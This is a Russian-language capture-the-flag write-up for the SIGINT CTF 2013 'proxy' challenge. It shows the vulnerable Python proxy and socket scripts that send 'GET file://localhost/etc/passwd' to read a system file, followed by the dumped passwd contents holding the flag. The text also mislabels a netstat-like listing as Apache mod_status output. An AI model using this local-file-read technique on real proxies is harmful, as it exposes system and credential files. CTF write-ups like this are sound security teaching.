SIGINT CTF 2013 (proxy)

Решения

http://anothernetsecblog.blogspot.ru/2013/07/sigint-ctf-proxy.html (suntzu_II) англ.
http://h34dump.com/2013/07/sigint-ctf-2013-miscproxy-200/ (h34dump) англ.
http://welovecpteam.wordpress.com/2013/07/07/sigint-ctf-2013-proxy/ (WeLoveCP) англ.
http://blog.botbie.com/2013/07/09/sigint-ctf-2013-misc200proxy-writeup/ (Botbie) англ.
http://dr0x0n.blogspot.ru/2013/07/sigint-ctf-2013-misc-200-proxyproxy.html (dr0x0n) исп.
http://tunz.tistory.com/74 (tunz) кор.
https://rdot.org/forum/showthread.php?p=32335 (wget) рус.
Назад к списку заданий

Задание (misc)

proxy
Running on 188.40.147.125
Скрипт сервера - proxy.py (код смотрите в решении)

Подробное описание

Описание задачи содержит proxy.py файл.
#!/usr/bin/env python
 
import SocketServer
import SimpleHTTPServer
import urllib2
import logging
from urlparse import urlparse
 
logging.basicConfig(level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s')
 
class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        parsed_url = urlparse(self.path)
        logging.info(parsed_url)
        if parsed_url.netloc == "localhost":
            self.copyfile(urllib2.urlopen(self.path), self.wfile)
 
SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('', 8080), Proxy)
httpd.serve_forever()

Как видим, скрипт переопределяет метод do_GET обработчика SimpleHTTPRequestHandler. Он принимает любой запрос, отправленный к нему. Любой сетевой запрос строится по следующей схеме:
"протокол://netloc/path;parameters?query#fragment"
Если netloc запроса равен "localhost", то копируем файл, указанный в пути запроса (path), в wfile, который возвращаем обратно как ответ пользователю (функция copyfile вызывает shutil.copyfileobj, которая передает исходный файл пользователю запроса порциями по 16Кбайт).

Пробуем отправить запрос, вида

GET http://localhost/ HTTP/1.1
#!/usr/bin/env python
import socket
 
HOST = "188.40.147.125"
PORT = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
msg = "GET http://localhost/ HTTP/1.1\r\n\r\n"
s.send(msg)
print s.recv(65000)
s.close()

Получаем ответ

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/
Program name
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 0 20241 5001/lighttpd
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1000 7190 392/python
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 9472 1057/sshd
tcp6 0 0 :::22 :::* LISTEN 0 9474 1057/sshd
udp 0 0 0.0.0.0:6126 0.0.0.0:* 0 8253 789/dhclient
udp 0 0 0.0.0.0:45108 0.0.0.0:* 0 8960 1025/dhclient
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 8311 789/dhclient
udp6 0 0 :::546 :::* 0 9000 1025/dhclient
udp6 0 0 :::45108 :::* 0 8256 789/dhclient
udp6 0 0 :::48892 :::* 0 8961 1025/dhclient

Как видим, файл index.html содержит вывод Apache-модуля mod_status, но флага здесь нет.
Если посмотреть документацию, то urllib2.urlopen поддерживает следующие обработчики ProxyHandler, UnknownHandler, HTTPHandler, HTTPDefaultErrorHandler, HTTPRedirectHandler, FTPHandler, FileHandler, HTTPErrorProcessor.
FileHandler выглядит тем, что мы ищем. Используя "file://localhost/что-нибудь", получим, к примеру, содержимое файла "etc/passwd".

#!/usr/bin/env python
import socket
 
HOST = "188.40.147.125"
PORT = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
msg = "GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n"
s.send(msg)
print s.recv(65000)
s.close()

В нем и найдем флаг:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
challenge:x:1000:1000:SIGINT_a64428fe231bcdcabbea:/home/challenge:/bin/bash

Флаг:
SIGINT_a64428fe231bcdcabbea

Пока не указано иное, содержимое этой страницы распространяется по лицензии Creative Commons Attribution-ShareAlike 3.0 License